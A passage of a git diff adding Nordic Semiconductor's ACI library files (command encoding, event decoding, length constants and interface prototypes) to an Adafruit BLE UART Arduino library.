acil_encode_cmd_setup(buffer, &(p_aci_cmd->params.setup), (p_aci_cmd->len - MSG_SETUP_CMD_BASE_LEN)); + break; + case ACI_CMD_DTM_CMD: + acil_encode_cmd_dtm_cmd(buffer, &(p_aci_cmd->params.dtm_cmd)); + break; + case ACI_CMD_READ_DYNAMIC_DATA: + acil_encode_cmd_read_dynamic_data(buffer); + break; + case ACI_CMD_WRITE_DYNAMIC_DATA: + acil_encode_cmd_write_dynamic_data(buffer, p_aci_cmd->params.write_dynamic_data.seq_no, &(p_aci_cmd->params.write_dynamic_data.dynamic_data[0]), (p_aci_cmd->len - MSG_WRITE_DYNAMIC_DATA_BASE_LEN)); + break; + case ACI_CMD_OPEN_REMOTE_PIPE: + acil_encode_cmd_open_remote_pipe(buffer, &(p_aci_cmd->params.open_remote_pipe)); + break; + case ACI_CMD_SEND_DATA: + acil_encode_cmd_send_data(buffer, &(p_aci_cmd->params.send_data), (p_aci_cmd->len - MSG_SEND_DATA_BASE_LEN)); + break; + case ACI_CMD_SEND_DATA_ACK: + acil_encode_cmd_send_data_ack(buffer, p_aci_cmd->params.send_data_ack.pipe_number ); + break; + case ACI_CMD_REQUEST_DATA: + acil_encode_cmd_request_data(buffer, &(p_aci_cmd->params.request_data)); + break; + case ACI_CMD_SET_LOCAL_DATA: + acil_encode_cmd_set_local_data(buffer, (aci_cmd_params_set_local_data_t *)(&(p_aci_cmd->params.send_data)), (p_aci_cmd->len - MSG_SET_LOCAL_DATA_BASE_LEN)); + break; + case ACI_CMD_BOND_SECURITY_REQUEST: + acil_encode_cmd_bond_security_request(buffer); + break; + default: + break; + } + return ret_val; +} + +void acil_decode_evt_command_response(uint8_t *buffer_in, aci_evt_params_cmd_rsp_t *p_evt_params_cmd_rsp) +{ + aci_evt_cmd_rsp_params_get_device_version_t *p_device_version; + aci_evt_cmd_rsp_params_get_device_address_t *p_device_address; + aci_evt_cmd_rsp_params_get_temperature_t *p_temperature; + aci_evt_cmd_rsp_params_get_battery_level_t *p_batt_lvl; + aci_evt_cmd_rsp_read_dynamic_data_t *p_read_dyn_data; + aci_evt_cmd_rsp_params_dtm_cmd_t *p_dtm_evt; + + p_evt_params_cmd_rsp->cmd_opcode = (aci_cmd_opcode_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_OPCODE); + p_evt_params_cmd_rsp->cmd_status = (aci_status_code_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_STATUS); + + switch (p_evt_params_cmd_rsp->cmd_opcode) + { + case ACI_CMD_GET_DEVICE_VERSION: + p_device_version = &(p_evt_params_cmd_rsp->params.get_device_version); + p_device_version->configuration_id = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_LSB); + p_device_version->configuration_id |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_MSB) << 8; + p_device_version->aci_version = *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_ACI_VERSION); + p_device_version->setup_format = *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_FORMAT); + p_device_version->setup_id = (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB0); + p_device_version->setup_id |= (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB1) << 8; + p_device_version->setup_id |= (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB0) << 16; + p_device_version->setup_id |= (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB1) << 24; + p_device_version->setup_status = *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_STATUS); + break; + + case ACI_CMD_GET_DEVICE_ADDRESS: + p_device_address = &(p_evt_params_cmd_rsp->params.get_device_address); + memcpy((uint8_t *)(p_device_address->bd_addr_own), (buffer_in + OFFSET_ACI_EVT_T_CMD_RSP+OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_ADDRESS+OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_OWN), BTLE_DEVICE_ADDRESS_SIZE); + p_device_address->bd_addr_type = (aci_bd_addr_type_t) *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP+OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_ADDRESS+OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_TYPE); + break; + + case ACI_CMD_GET_TEMPERATURE: + p_temperature = &(p_evt_params_cmd_rsp->params.get_temperature); + p_temperature->temperature_value = (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_TEMPERATURE + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_LSB); + p_temperature->temperature_value |= (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_TEMPERATURE + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_MSB) << 8; + break; + + case ACI_CMD_GET_BATTERY_LEVEL: + p_batt_lvl = &(p_evt_params_cmd_rsp->params.get_battery_level); + p_batt_lvl->battery_level = (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_BATTERY_LEVEL + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_LSB); + p_batt_lvl->battery_level |= (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_BATTERY_LEVEL + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_MSB) << 8; + break; + + case ACI_CMD_READ_DYNAMIC_DATA: + p_read_dyn_data = &(p_evt_params_cmd_rsp->params.read_dynamic_data); + p_read_dyn_data->seq_no = (uint8_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_READ_DYNAMIC_DATA + OFFSET_ACI_EVT_CMD_RSP_READ_DYNAMIC_DATA_T_SEQ_NO); + memcpy((uint8_t *)(p_read_dyn_data->dynamic_data), (buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_READ_DYNAMIC_DATA + OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_DYNAMIC_DATA), ACIL_DECODE_EVT_GET_LENGTH(buffer_in) - 3); // 3 bytes subtracted account for EventCode, CommandOpCode and Status bytes. + // Now that the p_read_dyn_data->dynamic_data will be pointing to memory location with enough space to accommodate upto 27 bytes of dynamic data received. This is because of the padding element in aci_evt_params_cmd_rsp_t + break; + + case ACI_CMD_DTM_CMD: + p_dtm_evt = &(p_evt_params_cmd_rsp->params.dtm_cmd); + p_dtm_evt->evt_msb = (uint8_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_DTM_CMD + OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_MSB); + p_dtm_evt->evt_lsb = (uint8_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_DTM_CMD + OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_LSB); + break; + } +} + +void acil_decode_evt_device_started(uint8_t *buffer_in, aci_evt_params_device_started_t *p_evt_params_device_started) +{ + p_evt_params_device_started->device_mode = (aci_device_operation_mode_t) *(buffer_in + OFFSET_ACI_EVT_T_DEVICE_STARTED+OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_DEVICE_MODE); + p_evt_params_device_started->hw_error = (aci_hw_error_t) *(buffer_in + OFFSET_ACI_EVT_T_DEVICE_STARTED+OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_HW_ERROR); + p_evt_params_device_started->credit_available = *(buffer_in + OFFSET_ACI_EVT_T_DEVICE_STARTED+OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_CREDIT_AVAILABLE); +} + +void acil_decode_evt_pipe_status(uint8_t *buffer_in, aci_evt_params_pipe_status_t *p_aci_evt_params_pipe_status) +{ + memcpy((uint8_t *)p_aci_evt_params_pipe_status->pipes_open_bitmap, (buffer_in + OFFSET_ACI_EVT_T_PIPE_STATUS + OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_OPEN_BITMAP), 8); + memcpy((uint8_t *)p_aci_evt_params_pipe_status->pipes_closed_bitmap, (buffer_in + OFFSET_ACI_EVT_T_PIPE_STATUS + OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_CLOSED_BITMAP), 8); +} + +void acil_decode_evt_disconnected(uint8_t *buffer_in, aci_evt_params_disconnected_t *p_aci_evt_params_disconnected) +{ + p_aci_evt_params_disconnected->aci_status = (aci_status_code_t)*(buffer_in + OFFSET_ACI_EVT_T_DISCONNECTED + OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_ACI_STATUS); + p_aci_evt_params_disconnected->btle_status = *(buffer_in + OFFSET_ACI_EVT_T_DISCONNECTED + OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_BTLE_STATUS); +} + +void acil_decode_evt_bond_status(uint8_t *buffer_in, aci_evt_params_bond_status_t *p_aci_evt_params_bond_status) +{ + p_aci_evt_params_bond_status->status_code = (aci_bond_status_code_t)*(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_CODE); + p_aci_evt_params_bond_status->status_source = (aci_bond_status_source_t)*(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_SOURCE); + p_aci_evt_params_bond_status->secmode1_bitmap = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE1_BITMAP); + p_aci_evt_params_bond_status->secmode2_bitmap = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE2_BITMAP); + p_aci_evt_params_bond_status->keys_exchanged_slave = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_SLAVE); + p_aci_evt_params_bond_status->keys_exchanged_master = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_MASTER); +} + +uint8_t acil_decode_evt_data_received(uint8_t *buffer_in, aci_evt_params_data_received_t *p_evt_params_data_received) +{ + uint8_t size = *( buffer_in + OFFSET_ACI_EVT_T_LEN) - (OFFSET_ACI_EVT_T_DATA_RECEIVED + OFFSET_ACI_RX_DATA_T_ACI_DATA) + 1 ; + p_evt_params_data_received->rx_data.pipe_number = *(buffer_in + OFFSET_ACI_EVT_T_DATA_RECEIVED + OFFSET_ACI_RX_DATA_T_PIPE_NUMBER); + memcpy((uint8_t *)p_evt_params_data_received->rx_data.aci_data, (buffer_in + OFFSET_ACI_EVT_T_DATA_RECEIVED + OFFSET_ACI_RX_DATA_T_ACI_DATA), size); + return size; +} + +void acil_decode_evt_data_ack(uint8_t *buffer_in, aci_evt_params_data_ack_t *p_evt_params_data_ack) +{ + p_evt_params_data_ack->pipe_number = *(buffer_in + OFFSET_ACI_EVT_T_DATA_ACK + OFFSET_ACI_EVT_PARAMS_DATA_ACK_T_PIPE_NUMBER); +} + +uint8_t acil_decode_evt_hw_error(uint8_t *buffer_in, aci_evt_params_hw_error_t *p_aci_evt_params_hw_error) +{ + uint8_t size = *(buffer_in + OFFSET_ACI_EVT_T_LEN) - (OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_FILE_NAME) + 1; + p_aci_evt_params_hw_error->line_num = (uint16_t)(*(buffer_in + OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_MSB)) << 8; + p_aci_evt_params_hw_error->line_num |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_LSB); + memcpy((uint8_t *)p_aci_evt_params_hw_error->file_name, (buffer_in + OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_FILE_NAME), size); + return size; +} + +void acil_decode_evt_credit(uint8_t *buffer_in, aci_evt_params_data_credit_t *p_evt_params_data_credit) +{ + p_evt_params_data_credit->credit = *(buffer_in + OFFSET_ACI_EVT_T_DATA_CREDIT + OFFSET_ACI_EVT_PARAMS_DATA_CREDIT_T_CREDIT); +} + +void acil_decode_evt_connected(uint8_t *buffer_in, aci_evt_params_connected_t *p_aci_evt_params_connected) +{ + p_aci_evt_params_connected->dev_addr_type = (aci_bd_addr_type_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR_TYPE); + memcpy(&(p_aci_evt_params_connected->dev_addr[0]), (buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR), BTLE_DEVICE_ADDRESS_SIZE); + p_aci_evt_params_connected->conn_rf_interval = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_MSB) << 8; + p_aci_evt_params_connected->conn_rf_interval |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_LSB); + p_aci_evt_params_connected->conn_slave_rf_latency = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_MSB) << 8; + p_aci_evt_params_connected->conn_slave_rf_latency |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_LSB); + p_aci_evt_params_connected->conn_rf_timeout = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_MSB) << 8; + p_aci_evt_params_connected->conn_rf_timeout |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_LSB); + p_aci_evt_params_connected->master_clock_accuracy = (aci_clock_accuracy_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_MASTER_CLOCK_ACCURACY); + +} + +void acil_decode_evt_timing(uint8_t *buffer_in, aci_evt_params_timing_t *p_evt_params_timing) +{ + p_evt_params_timing->conn_rf_interval = *(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_MSB) << 8; + p_evt_params_timing->conn_rf_interval |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_LSB); + p_evt_params_timing->conn_slave_rf_latency = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_MSB) << 8; + p_evt_params_timing->conn_slave_rf_latency |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_LSB); + p_evt_params_timing->conn_rf_timeout = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_MSB) << 8; + p_evt_params_timing->conn_rf_timeout |= *(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_LSB); +} + +void acil_decode_evt_pipe_error(uint8_t *buffer_in, aci_evt_params_pipe_error_t *p_evt_params_pipe_error) +{ + //volatile uint8_t size = *(buffer_in + OFFSET_ACI_EVT_T_LEN) - (OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_DATA) + 1; + p_evt_params_pipe_error->pipe_number = *(buffer_in + OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_PIPE_NUMBER); + p_evt_params_pipe_error->error_code = *(buffer_in + OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_CODE); + p_evt_params_pipe_error->params.error_data.content[0] = *(buffer_in + OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_DATA + OFFSET_ERROR_DATA_T_CONTENT); +} + +void acil_decode_evt_key_request(uint8_t *buffer_in, aci_evt_params_key_request_t *p_evt_params_key_request) +{ + p_evt_params_key_request->key_type = (aci_key_type_t)*(buffer_in + OFFSET_ACI_EVT_T_KEY_REQUEST + OFFSET_ACI_EVT_PARAMS_KEY_REQUEST_T_KEY_TYPE); +} + +uint8_t acil_decode_evt_echo(uint8_t *buffer_in, aci_evt_params_echo_t *aci_evt_params_echo) +{ + uint8_t size = *(buffer_in + OFFSET_ACI_EVT_T_LEN) - 1; + memcpy(&aci_evt_params_echo->echo_data[0], (buffer_in + OFFSET_ACI_EVT_T_EVT_OPCODE + 1), size); + return size; +} + +void acil_decode_evt_display_passkey(uint8_t *buffer_in, aci_evt_params_display_passkey_t *p_aci_evt_params_display_passkey) +{ + p_aci_evt_params_display_passkey->passkey[0] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 0); + p_aci_evt_params_display_passkey->passkey[1] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 1); + p_aci_evt_params_display_passkey->passkey[2] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 2); + p_aci_evt_params_display_passkey->passkey[3] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 3); + p_aci_evt_params_display_passkey->passkey[4] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 4); + p_aci_evt_params_display_passkey->passkey[5] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 5); +} + +bool acil_decode_evt(uint8_t *buffer_in, aci_evt_t *p_aci_evt) +{ + bool ret_val = true; + + p_aci_evt->len = ACIL_DECODE_EVT_GET_LENGTH(buffer_in); + p_aci_evt->evt_opcode = (aci_evt_opcode_t)ACIL_DECODE_EVT_GET_OPCODE(buffer_in); + + switch(p_aci_evt->evt_opcode) + { + case ACI_EVT_DEVICE_STARTED: + acil_decode_evt_device_started(buffer_in, &(p_aci_evt->params.device_started)); + break; + case ACI_EVT_HW_ERROR: + acil_decode_evt_hw_error(buffer_in, &(p_aci_evt->params.hw_error)); + break; + case ACI_EVT_CMD_RSP: + acil_decode_evt_command_response(buffer_in, &(p_aci_evt->params.cmd_rsp)); + break; + case ACI_EVT_DATA_CREDIT: + acil_decode_evt_credit(buffer_in, &(p_aci_evt->params.data_credit)); + break; + case ACI_EVT_CONNECTED: + acil_decode_evt_connected(buffer_in, &(p_aci_evt->params.connected)); + break; + case ACI_EVT_PIPE_STATUS: + acil_decode_evt_pipe_status(buffer_in, &(p_aci_evt->params.pipe_status)); + break; + case ACI_EVT_DISCONNECTED: + acil_decode_evt_disconnected(buffer_in, &(p_aci_evt->params.disconnected)); + break; + case ACI_EVT_BOND_STATUS: + acil_decode_evt_bond_status(buffer_in, &(p_aci_evt->params.bond_status)); + break; + case ACI_EVT_TIMING: + acil_decode_evt_timing(buffer_in, &(p_aci_evt->params.timing)); + break; + case ACI_EVT_DATA_ACK: + acil_decode_evt_data_ack(buffer_in, &(p_aci_evt->params.data_ack)); + break; + case ACI_EVT_DATA_RECEIVED: + acil_decode_evt_data_received(buffer_in, &(p_aci_evt->params.data_received)); + break; + case ACI_EVT_PIPE_ERROR: + acil_decode_evt_pipe_error(buffer_in, &(p_aci_evt->params.pipe_error)); + break; + case ACI_EVT_KEY_REQUEST: + acil_decode_evt_key_request(buffer_in, &(p_aci_evt->params.key_request)); + break; + case ACI_EVT_DISPLAY_PASSKEY: + acil_decode_evt_display_passkey(buffer_in, &(p_aci_evt->params.display_passkey)); + break; + default: + ret_val = false; + break; + } + return ret_val; +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.h new file mode 100755 index 0000000..363879b --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.h @@ -0,0 +1,53 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Internal prototype for acilib module. + */ + +#ifndef _acilib_H_ +#define _acilib_H_ + +#define MSG_SET_LOCAL_DATA_BASE_LEN 2 +#define MSG_CONNECT_LEN 5 +#define MSG_BOND_LEN 5 +#define MSG_DISCONNECT_LEN 2 +#define MSG_BASEBAND_RESET_LEN 1 +#define MSG_WAKEUP_LEN 1 +#define MSG_SET_RADIO_TX_POWER_LEN 2 +#define MSG_GET_DEVICE_ADDR_LEN 1 +#define MSG_SEND_DATA_BASE_LEN 2 +#define MSG_DATA_REQUEST_LEN 2 +#define MSG_OPEN_REMOTE_PIPE_LEN 2 +#define MSG_CLOSE_REMOTE_PIPE_LEN 2 +#define MSG_DTM_CMD 3 +#define MSG_WRITE_DYNAMIC_DATA_BASE_LEN 2 +#define MSG_SETUP_CMD_BASE_LEN 1 +#define MSG_ECHO_MSG_CMD_BASE_LEN 1 +#define MSG_CHANGE_TIMING_LEN 9 +#define MSG_SET_APP_LATENCY_LEN 4 +#define MSG_CHANGE_TIMING_LEN_GAP_PPCP 1 +#define MSG_DIRECT_CONNECT_LEN 1 +#define MSG_SET_KEY_REJECT_LEN 2 +#define MSG_SET_KEY_PASSKEY_LEN 8 +#define MSG_SET_KEY_OOB_LEN 18 +#define MSG_ACK_LEN 2 +#define MSG_NACK_LEN 3 +#define MSG_BROADCAST_LEN 5 +#define MSG_OPEN_ADV_PIPES_LEN 9 + +#endif /* _acilib_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_defs.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_defs.h new file mode 100755 index 0000000..35845d4 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_defs.h @@ -0,0 +1,29 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Definitions for the acilib interfaces + */ + +#ifndef _acilib_DEFS_H_ +#define _acilib_DEFS_H_ + +#define ACIL_DECODE_EVT_GET_LENGTH(buffer_in) (*(buffer_in + OFFSET_ACI_EVT_T_LEN)) + +#define ACIL_DECODE_EVT_GET_OPCODE(buffer_in) (*(buffer_in + OFFSET_ACI_EVT_T_EVT_OPCODE)) + +#endif /* _acilib_DEFS_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_if.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_if.h new file mode 100755 index 0000000..c87cb00 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_if.h @@ -0,0 +1,463 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Prototypes for the acilib interfaces. + */ + +#ifndef _acilib_IF_H_ +#define _acilib_IF_H_ + +/** @brief Encode the ACI message for set test mode command + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] test_mode Pointer to the test mode in ::aci_cmd_params_test_t + * + * @return None + */ +void acil_encode_cmd_set_test_mode(uint8_t *buffer, aci_cmd_params_test_t *p_aci_cmd_params_test); + +/** @brief Encode the ACI message for sleep command + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_sleep(uint8_t *buffer); + +/** @brief Encode the ACI message for get device version + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_get_device_version(uint8_t *buffer); + +/** @brief Encode the ACI message for set local data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_set_local_data Pointer to the local data parameters in ::aci_cmd_params_set_local_data_t + * @param[in] data_size Size of data message + * + * @return None + */ +void acil_encode_cmd_set_local_data(uint8_t *buffer, aci_cmd_params_set_local_data_t *p_aci_cmd_params_set_local_data, uint8_t data_size); + +/** @brief Encode the ACI message to connect + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_connect Pointer to the run parameters in ::aci_cmd_params_connect_t + * + * @return None + */ +void acil_encode_cmd_connect(uint8_t *buffer, aci_cmd_params_connect_t *p_aci_cmd_params_connect); + +/** @brief Encode the ACI message to bond + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_bond Pointer to the run parameters in ::aci_cmd_params_bond_t + * + * @return None + */ +void acil_encode_cmd_bond(uint8_t *buffer, aci_cmd_params_bond_t *p_aci_cmd_params_bond); + +/** @brief Encode the ACI message to disconnect + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_disconnect Pointer to the run parameters in 